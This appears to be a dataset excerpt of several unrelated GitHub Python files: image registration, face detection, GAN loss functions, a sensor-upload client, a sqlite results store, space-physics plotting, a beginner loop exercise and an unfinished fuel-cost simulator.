open('jaccard_pairs.lst','r') as f:\n            for line in f.readlines():\n                aname, bname, cname= line.strip().split()\n                abase = getBaseFileName(aname)\n                bbase = getBaseFileName(bname)\n                aname = 'warpedAff_'+abase+'_'+bbase+'.nii.gz'\n                if os.path.exists(aname) and os.path.exists(cname):\n                    compute_jaccard(cname, aname, False)\n                    compute_target_overlap(cname, aname, False)\n                else:\n                    print('Pair not found ['+cname+'], ['+aname+']')\n    #---finally, the optional output\n    #oname = base_moving+'_'+base_static+'Affine.txt'\n    #np.savetxt(oname, affine)\n\n\ndef register_3d(params):\n    r'''\n    Runs affine registration with the parsed parameters\n    '''\n    # Default parameters\n    renormalize = False\n    interp = 'tri'\n\n    metric_name=params.metric[0:params.metric.find('[')]\n    metric_params_list=params.metric[params.metric.find('[')+1:params.metric.find(']')].split(',')\n    nbins=int(metric_params_list[0])\n\n    optimizer = params.method\n\n    print('Registering %s to %s'%(params.moving, params.static))\n    sys.stdout.flush()\n    moving_mask = None\n    static_mask = None\n\n    #Load the data\n    moving_nib = nib.load(params.moving)\n    moving_nib = nib.Nifti1Image(moving_nib.get_data().squeeze(), moving_nib.get_affine())\n    static_nib = nib.load(params.static)\n    static_nib = nib.Nifti1Image(static_nib.get_data().squeeze(), static_nib.get_affine())\n\n    moving= nifti2nipy(moving_nib)\n    static= nifti2nipy(static_nib)\n\n    # Register\n    tic = time.time()\n    R = HistogramRegistration(static, moving, from_bins=nbins, to_bins=nbins,\n                              similarity=metric_name, interp=interp,\n                              renormalize=renormalize)\n    R.set_fov(spacing=(1,1,1))\n    T = R.optimize('affine', optimizer=optimizer)\n    toc = time.time()\n\n    save_registration_results(T, params)\n\n\nif __name__ == '__main__':\n      import time\n      params = parser.parse_args()\n      print_arguments(params)\n      tic = time.clock()\n      register_3d(params)\n      toc = time.clock()\n      print('Time elapsed (sec.): ',toc - tic)\n","repo_name":"omarocegueda/experiments","sub_path":"experiments/registration/nipyreg_affine.py","file_name":"nipyreg_affine.py","file_ext":"py","file_size_in_byte":9747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5185830609","text":"import cv2\nimport mediapipe as mp\n# pip install mediapipe\n\ncap = cv2.VideoCapture('person.jpg')\nmp_fd = mp.solutions.face_detection\nmp_draw = mp.solutions.drawing_utils\nfd = mp_fd.FaceDetection(0.5)          \n\n# 읽은 비디오를 여러개의 이미지로\nsuccess, img= cap.read()\n# 색보정(정확도)\nfrom_bgr_to_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n# 얼굴을 찾아줘\nresult = fd.process(from_bgr_to_rgb)\n# 얼굴을 찾으면\nif result.detections:\n    # 각 얼굴별로\n    for id, detection in enumerate(result.detections):\n        mp_draw.draw_detection(img, detection)              # 네모표시\n\ncv2.imshow('title', img)\ncv2.waitKey(0)\n\n\n","repo_name":"twdssqrtdd/python","sub_path":"day08/day08_4.py","file_name":"day08_4.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12559405754","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom utils import batched_scatter, batched_index_select\n\n\ndef calc_mean_std(feat, eps=1e-5):\n    # eps is a small value added to the variance to avoid divide-by-zero.\n    size = feat.size()\n    assert (len(size) == 4)\n    N, C = size[:2]\n    feat_var = feat.view(N, C, -1).var(dim=2) + eps\n    feat_std = feat_var.sqrt().view(N, C, 1, 1)\n    feat_mean = feat.view(N, C, -1).mean(dim=2).view(N, C, 1, 1)\n    return feat_mean, feat_std\n\n\ndef mean_variance_norm(feat):\n    size = feat.size()\n    mean, std = calc_mean_std(feat)\n    normalized_feat = (feat - mean.expand(size)) / std.expand(size)\n    return normalized_feat\n\n\ndef calc_content_loss(input, target, norm=False):\n    mse_loss = nn.MSELoss()\n    if (norm == False):\n        return mse_loss(input, target)\n    else:\n        return mse_loss(mean_variance_norm(input), mean_variance_norm(target))\n\n\ndef calc_style_loss(input, target):\n    mse_loss = nn.MSELoss()\n    input_mean, input_std = calc_mean_std(input)\n    target_mean, target_std = calc_mean_std(target)\n    return mse_loss(input_mean, target_mean) + \\\n           mse_loss(input_std, target_std)\n\n\ndef recon_criterion(target, output):\n    loss = torch.mean(torch.abs(output - target))\n    return loss\n\n\ndef weighted_recon_criterion(real_xs, fake_x, similarity=None):\n    b, n, c, h, w = real_xs.size()\n    if similarity is not None:\n        xs_c = torch.matmul(similarity.view(b, 1, n), real_xs.view(b, n, c * h * w))\n        xs_c = xs_c.view(b, c, h, w)\n    else:\n        xs_c = torch.mean(real_xs, dim=1, keepdim=False)\n    loss = torch.mean(torch.abs(xs_c - fake_x))\n    return loss\n\n\ndef nearest_recon_critertion(real_xs, fake_x):\n    b, n, c, h, w = real_xs.size()\n    losses = [torch.mean(torch.abs(real_xs[:, i, :, :, :] - fake_x)) for i in range(n)]\n    loss = min(losses)\n    return loss\n\n\ndef local_recon_criterion(real_xs, fake_x, similarity, indice_base, indice_refs, index, s=8):\n    \"\"\"\n    Local Reconstruction Loss\n    :param real_xs: real images (32*3*3*128*128)\n    :param fake_x: generated fake images (32*3*128*128)\n    :param similarity: alpha (32*3)\n    :param indice_base: the recorded positions of selected base local representations (32*M)\n    :param indice_refs: the recorded positions of the matched reference representations (32*2*M)\n    :param index: the index of base feature (1)\n    :param s: resize the feature map\n    :return:\n    \"\"\"\n    base = real_xs[:, index, :, :, :]  # (32*3*128*128)\n    refs = torch.cat([real_xs[:, :index, :, :, :], real_xs[:, (index + 1):, :, :, :]], dim=1)  # (32*2*3*128*128)\n    base_similarity = similarity[:, index]  # (32*1)\n    ref_similarities = torch.cat([similarity[:, :index], similarity[:, (index + 1):]], dim=1)  # (32*2)\n\n    base = F.interpolate(base, size=s)  # (32*3*8*8)\n\n    b, n, c, h, w = refs.size()\n    refs = refs.view(-1, c, h, w)\n    refs = F.interpolate(refs, size=s)\n    refs = refs.view(b, n, c, s * s)  # (32*2*3*(8*8))\n\n    base = base.view(b, c, -1)  # (32*3*64)\n    base_select = batched_index_select(base, dim=2, index=indice_base)  # (32*3*M)\n\n    ref_selects = []\n    for j in range(n):\n        ref = refs[:, j, :, :]  # (32*3*64)\n        indice = indice_refs[:, j, :]  # (32*M)\n        select = batched_index_select(ref, dim=2, index=indice)  # (32*3*M)\n        ref_selects.append(select)\n    ref_selects = torch.cat([item.unsqueeze(1) for item in ref_selects], dim=1)  # (32*2*3*M)\n\n    base_similarity = base_similarity.view(b, 1, 1)  # (32*1*1)\n    ref_similarities = ref_similarities.view(b, 1, n)  # (32*1*2)\n    base_select = base_select.view(b, 1, -1)  # (32*1*(3*M))\n    ref_selects = ref_selects.view(b, n, -1)  # (32*2*(3*M))\n\n    patch_fused = torch.matmul(base_similarity, base_select) \\\n                  + torch.matmul(ref_similarities, ref_selects)  # (32*1*(3*M))\n\n    num = indice_base.size()[-1]\n    patch_fused = patch_fused.view(b, c, num)  # (32*3*M)\n\n    target = batched_scatter(base, dim=2, index=indice_base, src=patch_fused)\n    target = target.view(b, c, s, s)  # (32*3*8*8)\n\n    fake_x = F.interpolate(fake_x, size=s)\n\n    return recon_criterion(target, fake_x)\n\n\ndef ms_loss(fake_x1, fake_x2, sim1, sim2):\n    lz = torch.mean(torch.abs(fake_x1 - fake_x2)) \\\n         / torch.mean(torch.abs(sim1 - sim2))\n    eps = 1 * 1e-5\n    loss_lz = 1 / (lz + eps)\n    return loss_lz\n","repo_name":"kobeshegu/ECCV2022_WaveGAN","sub_path":"networks/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"16"}
+{"seq_id":"36984879940","text":"#!/usr/bin/env python\n\nimport sys\nimport time\nimport json\nfrom datetime import datetime\nfrom videk_rest_client import Videk\nfrom random import randint\n\nx = Videk('secret')\nx.api_url = \"http://localhost/api\"\n\ncluster = \"example\";\nnode = \"example.com\"\nsensor_t = \"test\"\nsensor_q = \"test_value\"\nsensor_u = \"t\"\n\ncluster_id = x.getClusterID(cluster)\nif cluster_id == None:\n    x.createCluster(cluster)\n    cluster_id = x.getClusterID(cluster)\n\nnode_id = x.getNodeID(node)\nif node_id == None:\n    x.createNode(node, cluster_id)\n    node_id = x.getNodeID(node)\n\nsensor_id = x.getSensorID(node, sensor_t, sensor_q)\nif sensor_id == None:\n    x.createSensor(node_id, sensor_t, sensor_q, sensor_u)\n    sensor_id = x.getSensorID(node, sensor_t, sensor_q)\n\nmeasurement = '''{\"latitude\":\"\",\"longitude\":\"\",\"ts\":\"\",\"value\":\"\"}'''\n\nwhile True:\n    try:\n        v = randint(1, 10)\n\n        preparedData = []\n        data = json.loads(measurement)\n        data['value'] = v\n        data['ts'] = datetime.utcnow().isoformat()\n        data['latitude'] = 11.111111\n        data['longitude'] = 11.111111\n        preparedData.append(data)\n\n        x.uploadMesurements(preparedData, node_id, sensor_id)\n\n        time.sleep(10)\n    except (KeyboardInterrupt, SystemExit):\n         sys.exit(0)\n    except:\n         time.sleep(10)\n","repo_name":"matevzv/videk-rest-client","sub_path":"example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13727204505","text":"import sqlite3\n\ntypes_table_sql = '''\nCREATE TABLE IF NOT EXISTS types\n(id INTEGER PRIMARY KEY NOT NULL,\n type TEXT NOT NULL)\n'''\n\nfiles_table_sql = '''\nCREATE TABLE IF NOT EXISTS files\n(id INTEGER PRIMARY KEY NOT NULL,\n name TEXT NOT NULL,\n root TEXT NOT NULL,\n type_id INTEGER NOT NULL)\n'''\n\ncategories_table_sql = '''\nCREATE TABLE IF NOT EXISTS categories\n(id INTEGER PRIMARY KEY NOT NULL,\n category TEXT NOT NULL)\n'''\n\ncounts_table_sql = '''\nCREATE TABLE IF NOT EXISTS counts\n(id INTEGER PRIMARY KEY NOT NULL,\n cat_id INTEGER NOT NULL,\n file_id INTEGER NOT NULL,\n count INTEGER NOT NULL)\n'''\n\nclass Results(object):\n    '''Holds the accumulated results of scanning source files\n    '''\n\n    def __init__(self, name=':memory:'):\n        '''construct a new Results object\n        \n        :param name: The filename for the sqlite database. By default,\n                     this will construct a memory db\n        '''\n        self.conn = sqlite3.Connection(name)\n        cur = self.conn.cursor()\n        cur.execute(types_table_sql)\n        cur.execute(files_table_sql)\n        cur.execute(categories_table_sql)\n        cur.execute(counts_table_sql)\n\n        self.__types = {}\n        self.__categories = {}\n\n    def close(self, commit=True):\n        '''close the results object and associated database\n        \n        :param commit: indicates if the changes should be committed to\n                       the database\n        '''\n        if commit:\n            self.conn.commit()\n        self.conn.close()\n\n    def add_result(self, filename, root, type, counts):\n        cur = self.conn.cursor()\n\n        try:\n            typeid = self.__types[type]\n        except KeyError:\n            cur.execute('INSERT INTO types VALUES(?,?)',\n                        (None, type))\n            typeid = cur.lastrowid\n            self.__types[type] = typeid\n                \n        cur.execute('INSERT INTO files VALUES(?,?,?,?)',\n                    (None, filename, root, typeid))\n        fileid = cur.lastrowid\n        \n        for cat,count in counts.items():\n            try:\n                catid = self.__categories[cat]\n            except KeyError:\n                cur.execute('INSERT INTO categories VALUES(?,?)',\n                            (None, cat))\n                catid = cur.lastrowid\n                self.__categories[cat] = catid\n            \n            cur.execute('INSERT INTO counts VALUES(?,?,?,?)',\n                        (None, catid, fileid, count))\n\n    def categories(self):\n        '''get a list of all categories present in the results\n\n        Note that not all files will have all categories\n        '''\n        cur = self.conn.cursor()\n        cur.execute('SELECT category FROM categories')\n        return [row[0] for row in cur]\n\n    def types(self):\n        '''get a list of all file-types present in the results'''\n\n        cur = self.conn.cursor()\n        cur.execute('SELECT type FROM types')\n        return [row[0] for row in cur]\n\n    def counts_by_type(self, filetype):\n        '''get counts summed over a particular file type\n        \n        :param filetype: the filetype to get counts for\n        :return: a dictionary { category -> sum }\n        '''\n        cur = self.conn.cursor()\n        cur.execute('''SELECT categories.category, \n                              counts.count\n                       FROM counts, \n                            types, \n                            files, \n                            categories \n                       WHERE types.type = ?\n                             AND files.type_id = types.id\n                             AND counts.file_id = files.id\n                             AND categories.id = counts.cat_id''',\n                    (filetype,))\n        counts = [(row[0], row[1]) for row in cur]\n        rslt = {}\n        for cat,count in counts:\n            try:\n                rslt[cat] += count\n            except KeyError:\n                rslt[cat] = count\n        return rslt\n        \n    def counts_by_category(self, category):\n        cur = self.conn.cursor()\n        cur.execute('''SELECT types.type,\n                              counts.count\n                       FROM counts,\n                            types,\n                            files,\n                            categories\n                       WHERE categories.category = ?\n                             AND counts.cat_id = categories.id\n                             AND files.id = counts.file_id\n                             AND types.id = files.type_id''',\n                    (category,))\n        counts = [(row[0],row[1]) for row in cur]\n        rslt = {}\n        for type,count in counts:\n            try:\n                rslt[type] += count\n            except KeyError:\n                rslt[type] = count\n        return rslt\n\n    def sum_categories(self, filetype):\n        pass\n","repo_name":"abingham/pyloc","sub_path":"src/pyloc/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"16280428949","text":"# compareNEDirectly.py\n#\n# from approximation of range gates from Ray Tracing\n# look at the CUTLASS ne versus the EISCAT ne\n#\n# LKS, January 2016 SANSA\n#\n#\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport readProcessedEISCAT\nimport matplotlib.dates as dt\nfrom matplotlib.dates import HourLocator, DayLocator, DateFormatter, MinuteLocator\nfrom matplotlib.ticker import ScalarFormatter, FormatStrFormatter\n#\n# load in the IRI data\nos.chdir('ModelData')\nIRI=np.genfromtxt('IRIdata_range=880km.txt')\nIRIalt=IRI[:,0]\nIRIne=IRI[:,1]\nos.chdir('..')\n\ndef runningMedian(seq, M):\n    \"\"\"\n     Purpose: Find the median for the points in a sliding window (odd number in size) \n              as it is moved from left to right by one point at a time.\n      Inputs:\n            seq -- list containing items for which a running median (in a sliding window) \n                   is to be calculated\n              M -- number of items in window (window size) -- must be an integer > 1\n      Otputs:\n         medians -- list of medians with size N - M + 1\n       Note:\n         1. The median of a finite list of numbers is the \"center\" value when this list\n            is sorted in ascending order. \n         2. If M is an even number the two elements in the window that\n            are close to the center are averaged to give the median (this\n            is not by definition)\n    \"\"\"\n    from itertools import islice\n    from collections import deque,Counter\n    from bisect import insort, bisect_left\n\n    seq = iter(seq)\n    s = []   \n    m = M // 2\n\n    # Set up list s (to be sorted) and load deque with first window of seq\n    s = [item for item in islice(seq,M)]    \n    d = deque(s)\n\n    # Simple lambda function to handle even/odd window sizes    \n    median = lambda : s[m] if bool(M&1) else (s[m-1]+s[m])*0.5\n\n    # Sort it in increasing order and extract the median (\"center\" of the sorted window)\n    s.sort()    \n    medians = [median()]   \n\n    # Now slide the window by one point to the right for each new position (each pass through \n    # the loop). Stop when the item in the right end of the deque contains the last item in seq\n    for item in seq:\n        old = d.popleft()          # pop oldest from left\n        d.append(item)\n        # push newest in from right\n        try:\n          del s[bisect_left(s, old)] # locate insertion point and then remove old \n              # insert newest such that new sort is not required\n          insort(s, item)       \n          medians.append(np.nanmedian(s))  \n        except:\n          medians.append(np.nan)\n          pass\n\n    return medians\n\n  \n#\n# load in EISCAT\ndataEISCAT=readProcessedEISCAT.ReadData()\naltE=np.nanmean(dataEISCAT['alt'], axis=1) # 42 altitudes between 76 km to 613 km\nrightALTs=np.where((altE >= 100) & (altE <= 500))[0] # I think, need to confirm\nTimesE=dt.date2num(dataEISCAT['stim'])\nneE=dataEISCAT['ne']\n#\n# load in SuperDARN\nos.chdir('CUTLASS')\nimport readCUTLASSvel as SD\n#\ndataSD=SD.readSUPERDARN()\n# divide ne by 28 because scatter range of EISCAT = 8 km2\n# SuperDARN = 15 * 15 = 225 km2\n# 225 / 8 = 28.1\n# so the scattering area of the SuperDARN Ne is 28 times larger than EISCAT\n# we apply this later in the plotting section\n# \nAllneSD=np.array(dataSD[0])\n\nAllFreqsSD=np.array(dataSD[1])\nAllfpSD=dataSD[2]\nAllTimesSD=np.array(dataSD[3])\nAllNs=np.array(dataSD[4])\n\nos.chdir('..')\n#\n# so we need ne at certain freqs\n#cFreqs=np.where((FreqsSD > 14500000) & (FreqsSD < 16000000))[0][:-1]\n#cFreqs=np.where(FreqsSD > 0)[0][:-1] # just say all \n#\nlabels=['15_MHz', '16_MHz', '17_MHz', '18_MHz']\nfor iFREQ in range(len(AllFreqsSD)):\n     # good SuperDARN data\n     cNE=np.swapaxes(AllneSD[iFREQ],1,0) # to make it gates x Time\n     cNE[cNE==0]=np.nan\n     cTimes=dt.date2num(AllTimesSD[iFREQ])\n     gates=np.linspace(28,40,13)\n     #\n     # side by side compare\n     # plot for different alts\n     cFactor=[]\n     for iRNG in range(len(gates)):\n       for iALT in range(len(rightALTs)):\n          fig=plt.figure()\n          ax=fig.add_subplot(111)\n          plt.subplots_adjust(right=0.7, top=0.92, bottom=0.11, left=0.11)\n          days = DayLocator(interval=1) \n          hours = MinuteLocator(interval=30) \n          hours2 = MinuteLocator(interval=60) \n          daysFmt = DateFormatter('%H:%M')\n          fig.gca().xaxis.set_major_locator(hours)\n          fig.gca().xaxis.set_major_formatter(daysFmt)\n          fig.gca().xaxis.set_minor_locator(hours2)\n          font = {'family' : 'normal',\n                  'weight' : 'bold',\n                  'size'   : 22}\n          plt.rc('font', **font)\n          t1=max(cTimes[0], TimesE[0])\n          t2=min(cTimes[-1], TimesE[-1])\n          # find where closest\n          cIRIalt=min(range(len(IRIalt)), key=lambda i: abs(IRIalt[i]-altE[rightALTs[iALT]]))\n          cNE[gates[iRNG]][cNE[gates[iRNG]]<0]=np.nan\n          s1mask=np.isfinite(cNE[gates[iRNG]])\n          medWin=8\n          \n           # for EISCAT data\n          tempDat=cNE[gates[iRNG]][s1mask]\n          #tempDat[tempDat>1e12]=np.nan\n          #tempDat[tempDat<1.0e10]=np.nan\n     \n          ax.plot(runningMedian(cTimes[s1mask],medWin),runningMedian(tempDat,medWin), lw=3, marker='o',ls='-', color='blue')\n          ax.plot(runningMedian(TimesE,medWin), runningMedian(neE[rightALTs[iALT]], medWin), lw=3, marker='o',ls='-', color='gold')\n          ax.plot(TimesE, [IRIne[cIRIalt]]*len(TimesE), lw=3, color='red')\n          #ax.set_yscale('log')\n          ax.set_xlabel('Time')\n#          ax.set_ylim(1e10.8,1e11.2)\n          #ax.set_xlim(t1, t2)\n          ax.set_ylabel('Electron Density [m$^{-3}$]')\n          plt.legend(['SuperDARN', 'EISCAT', 'IRI'], bbox_to_anchor=(1.52, 0.7))\n          fig.set_size_inches(13,9)\n          subdir_name='Compare_EISCAT_CUTLASS'\n          if not os.path.exists(subdir_name):\n              os.umask(0) # unmask if necessary\n              os.makedirs(subdir_name) \n          os.chdir(subdir_name)#\n          plt.savefig(labels[iFREQ]+'_20150312Ne_alt='+str(altE[rightALTs[iALT]])+'_gate='+str(gates[iRNG])+'.png')\n          os.chdir('..')\n          plt.close()\n","repo_name":"loisks317/SANSA-Papers-","sub_path":"compareNEDirectly.py","file_name":"compareNEDirectly.py","file_ext":"py","file_size_in_byte":6099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"430749708","text":"# 1.- DEFINIR VARIABLES\nacumulador = 0\ncontador = 1\n# 2.- SOLICITAR LOS DATOS\n# 3.- PROCESAR LA INFO\nprint(\"\\n ********* Suma de numeros ********\")\nwhile contador <= 5:\n    numero = int(input(\"Ingrese el número:\"))\n    if numero > 0:\n        acumulador += numero\n        contador += 1 # contador = contador +1\n# 4.- MOSTRAR EL RESULTADO\nprint(\"El factorial es:\", acumulador)","repo_name":"patricioyanez/PGY1121_005","sub_path":"EA3/EjemploWhile3.py","file_name":"EjemploWhile3.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11804935880","text":"import random\n\nasci = \"\"\"\n\n    ____             __                         __    __     ______                _____ _                 __      __            \n   / __ \\___  ____ _/ /    _      ______  _____/ /___/ /    / ____/___ ______     / ___/(_)___ ___  __  __/ /___ _/ /_____  _____\n  / /_/ / _ \\/ __ `/ /    | | /| / / __ \\/ ___/ / __  /    / / __/ __ `/ ___/     \\__ \\/ / __ `__ \\/ / / / / __ `/ __/ __ \\/ ___/\n / _, _/  __/ /_/ / /     | |/ |/ / /_/ / /  / / /_/ /    / /_/ / /_/ (__  )     ___/ / / / / / / / /_/ / / /_/ / /_/ /_/ / /    \n/_/ |_|\\___/\\__,_/_/      |__/|__/\\____/_/  /_/\\__,_/     \\____/\\__,_/____/     /____/_/_/ /_/ /_/\\__,_/_/\\__,_/\\__/\\____/_/     \n                                                                                                                                 \n                                                    By Ishwak Sharda (2023)\n\n\n                                Welcome to this amazing gas simulator that lets you simulate\n                                the millage consumption of your car or even airplane flights!\n\n                                Plan your fuel costs and usage in advance with this\n                                application and compare fuel prices with different \n                                petrol services in Canada.\n\n                                Furthermore, analyze how much will a flight trip will consume\n                                your favourite destination!\n                                                                                                      \n\"\"\"\nprint(asci)\n\n#flights = getFlights()\n#print(flightSimulation(\"b777\", 10000, 12.3))\n\n## ==================== MODELS =====================\n\ndef defineFlightRoute(company, plane, departure, arrival, distance, duration, flight_type):\n    return {\n        \"company\": company,\n        \"plane\": plane,\n        \"route\": [departure, arrival],\n        \"distance\": distance,\n        \"duration\": duration,\n        \"flight_type\": flight_type\n    }\n\ndef defineAirport(code, name, country, city):\n    return {\n        \"name\": name,\n        \"code\": code,\n        \"country\": country,\n        \"city\": city\n    }\n\ndef defineGasStation(eid, name, premiumCost, dieselCost, petrolCost):\n    return {\n        \"id\": eid,\n        \"name\": name,\n        \"premium_cost\": premiumCost,\n        \"diesel_cost\": dieselCost,\n        \"petrol_cost\": petrolCost\n    }\n\ndef defineCarRoute(departureCity, arrivalCity, distance, time, trafficPoints, trafficLightPoints, highwayPoints, cityPoints, roadConditionPoints):\n    return {\n        \"departureCity\": departureCity,\n        \"arrivalCity\": arrivalCity,\n        \"trafficPoints\": trafficPoints,\n        \"trafficLightPoints\": trafficLightPoints,\n        \"highwayPoints\": highwayPoints,\n        \"distance\": distance,\n        \"time\": time,\n        \"cityPoints\": cityPoints,\n        \"roadConditionPoints\": roadConditionPoints\n    }\n\ndef defineCar(id, manufacturer, model, engine, power, gear, seat, premium, city_millage, highway_millage, average_comb_city_highway, average_millage_per_100l, fuel_capacity, weight):\n    return {\n        \"id\": id,\n        \"manufacturer\": manufacturer,\n        \"model\": model,\n        \"engine\": engine,\n        \"power\": power,\n        \"seat\": seat,\n        \"premium\": premium,\n        \"city_millage\": city_millage,\n        \"highway_millage\": highway_millage,\n        \"average_comb_city_highway\": average_comb_city_highway,\n        \"average_millage_per_100l\": average_millage_per_100l,\n        \"fuel_capacity\": fuel_capacity,\n        \"weight\": weight\n    }\n\n\ndomesticFlights = []\ninternationalFlights = []\nairports = []\ncarRoutes = []\ngasStations = []\ncars = []\n\n## ==================== DATA GATHERING ====================\n\n\ndomesticFlights.append(defineFlightRoute(\"Wizz air\", \"b777\", \"YVL\", \"YUL\", 4000, 4.5, \"domestic\"))\ndomesticFlights.append(defineFlightRoute(\"Wizz air\", \"b787\", \"YVL\", \"YYL\", 3343, 4.2, \"domestic\"))\n\ndomesticFlights.append(defineFlightRoute(\"Air Canada\", \"a350\", \"YYL\", \"YUL\", 550, 0.9, \"domestic\"))\ndomesticFlights.append(defineFlightRoute(\"Flair air\", \"b737\", \"YVL\", \"YYC\", 950, 1.45, \"domestic\"))\ndomesticFlights.append(defineFlightRoute(\"Flair air\", \"b737\", \"YYL\", \"YYC\", 2705, 3.8, \"domestic\"))\ndomesticFlights.append(defineFlightRoute(\"Flair air\", \"b737\", \"YUL\", \"YYC\", 3006, 4.18, \"domestic\"))\n\ndomesticFlights.append(defineFlightRoute(\"Flair air\", \"b737\", \"YVL\", \"YOW\", 3552, 4.8, \"domestic\"))\n\n\n\n## calgary to vancouver\n## calgary to toronto\n## calgary to montreal\n## vancouver to montreal\n## vancouver to toronto\n\n\n\ninternationalFlights.append(defineFlightRoute(\"Emirates\", \"a380\", \"YYL\", \"DXB\", 10900, 12.75, \"international\")) # ok\ninternationalFlights.append(defineFlightRoute(\"Air India\", \"b777\", \"YYL\", \"DHX\", 11653, 13.5, \"international\")) # ok\ninternationalFlights.append(defineFlightRoute(\"Emirates\", \"a380\", \"YYL\", \"MXP\", 7400, 9.75, \"international\")) # ok\ninternationalFlights.append(defineFlightRoute(\"United\", \"b737\", \"YVL\", \"LAX\", 1804, 2.9, \"international\"))  ## ok b737Max\ninternationalFlights.append(defineFlightRoute(\"Air Canada\", \"a350\", \"YVL\", \"MXP\", 7400, 10.5, \"international\")) #ok - check flight add a330\ninternationalFlights.append(defineFlightRoute(\"Air Canada\", \"b777\", \"YYL\", \"LHR\", 5941, 6.9, \"international\")) #ok\ninternationalFlights.append(defineFlightRoute(\"Air France\", \"b787\", \"CDG\", \"YVL\", 10680, 9.75, \"international\")) # b787\ninternationalFlights.append(defineFlightRoute(\"ANA\", \"b787\", \"HND\", \"YVL\", 7845, 9.98, \"international\")) # b787\ninternationalFlights.append(defineFlightRoute(\"Americal Airline\", \"a350\", \"YYC\", \"LAX\", 6287, 5.3, \"international\")) # b787\ninternationalFlights.append(defineFlightRoute(\"Americal Airline\", \"b777\", \"YVL\", \"MXP\", 7400, 10.2, \"international\")) # b787\n\n\n\n\n# seattle to los angeles\n# vancouver to los angeles\n# vancouver to london\n\n\n\nairports.append(defineAirport(\"YVL\", \"Vancouver International Airport\", \"Canada\", \"Vancouver\"))\nairports.append(defineAirport(\"YUL\", \"Montreal International Airport\", \"Canada\", \"Montreal\"))\nairports.append(defineAirport(\"YYL\", \"Toronto Pearson-Trudeau International Airport\", \"Canada\", \"Toronto\"))\nairports.append(defineAirport(\"MXP\", \"Malpensa International Airport\", \"Italy\", \"Milan\"))\nairports.append(defineAirport(\"DHX\", \"Indra-Gandhi International Airport\", \"India\", \"New Delhi\"))\nairports.append(defineAirport(\"DXB\", \"Dubai International Airport\", \"United Arab Emirated\", \"Dubai\"))\n#airports.append(defineAirport(\"SEA\", \"Seattle International Airport\", \"United States of America\", \"Seattle\"))\nairports.append(defineAirport(\"LAX\", \"Los Angeles International Airport\", \"United States of America\", \"Los Angeles\"))\nairports.append(defineAirport(\"LHR\", \"Heathrow Airport\", \"United States of America\", \"Los Angeles\"))\nairports.append(defineAirport(\"CDG\", \"Paris Charles de Gaulle Airport\", \"France\", \"Paris\"))\nairports.append(defineAirport(\"HND\", \"Haneda Airport\", \"Japan\", \"Tokyo\"))\nairports.append(defineAirport(\"YYC\", \"Calgary International Airport\", \"Canada\", \"Calgary\"))\nairports.append(defineAirport(\"YOW\", \"Ottawa International Airport\", \"Ottawa\", \"Ottawa\"))\n\n\n## calgary airport\n## los angeles\n## new york\n## japan\n## london\n\ncars.append(defineCar(\"audi_rsq8\", \"Audi\", \"RSQ8 2022\", \"Twin-turbocharged and intercooled DOHC 32-valve V-8\", 591,\"8-speed automatic\",5,True,11.9,17.5,15,6.7,85,2490))\ncars.append(defineCar(\"porsche_panamera_4s\", \"Porsche\", \"Panamera 4S\", \"6-cylinder\", 473, \"8-speed dual clutch automatic\", 5, True, 12.8, 9.8, 11.4, 5, 80, 2100))\ncars.append(defineCar(\"honda_civic\", \"Honda\", \"Civic 2022 Hatchback\", \"4 cylinder\", 129, \"5-speed automatic\", 5, False, 7.7, 6.3, 7.1, 3, 46, 1256))\ncars.append(defineCar(\"lamborgini_evo\", \"Lamborghini\", \"Huracán EVO Coupè\", \"DOHC 40-valve V-10\", 631, \"7-speed dual-clutch automatic\", 2, True, 18, 12.9, 15.7, 6.7, 83, 1.339))\ncars.append(defineCar(\"volkswagen_golf\", \"Volkswagen\", \"Golf 2021\", \"4-cylinder\", 147, \"6-speed manual\", 5, False, 8.2, 6.5, 7.5, 3, 50, 1425))\n\n# road conditions: fog, mud, wet, bumpy, construction\ncarRoutes.append(defineCarRoute(\"University of the Fraser Valley (Abbotsford) (BC)\", \"Vancouver (BC)\",  70, 0.95, [[35, 45], [75, 100]], [[0, 8], [85, 100]], [[7.5, 65]], [[0, 7.5], [65, 100]], [[0, 5, \"mud\"]]))\ncarRoutes.append(defineCarRoute(\"Vancouver (BC)\", \"Seattle (USA)\", 156, 1.98, [[0, 20], [45, 65]], [[0, 20], [70, 100]], [[20, 70]], [[0, 20], [65, 100]], [[32,67, \"wet\"]]))\ncarRoutes.append(defineCarRoute(\"Toronto (Ontario)\", \"University of Montreal (Quebec)\", 543, 5.07, \n    [[0, 8], [34, 39], [67, 73], [96, 100]], \n    [[0, 8], [25, 27], [63,67], [90, 100]], \n    [[10, 89]], \n    [[0, 8], [90, 100]], \n    [[35,37, \"construction\"]]\n))\ncarRoutes.append(defineCarRoute(\"Vancouver (BC)\", \"Kelowna (BC)\", 387, 4.2, [[0, 10], [89, 95]], [[0, 10], [90, 100]], [[20, 90]], [[0, 10], [90, 100]], [[40,76, \"bumpy\"]]))\ncarRoutes.append(defineCarRoute(\"University of the Fraser Valley (Abbotsford) (BC)\", \"Kelowna (BC)\", 325, 3.5, [[0, 1], [89, 90]], [[0, 2], [98, 100]], [[2, 96]], [[0, 2], [98, 100]], []))\ncarRoutes.append(defineCarRoute(\"Ottawa (Ontario)\", \"Toronto (Ontario)\", 410, 4.42, [[0, 8], [23, 45], [23, 78], [96, 100]], [[0, 10], [90, 98]], [[20, 89]], [[0, 10], [93, 100]], 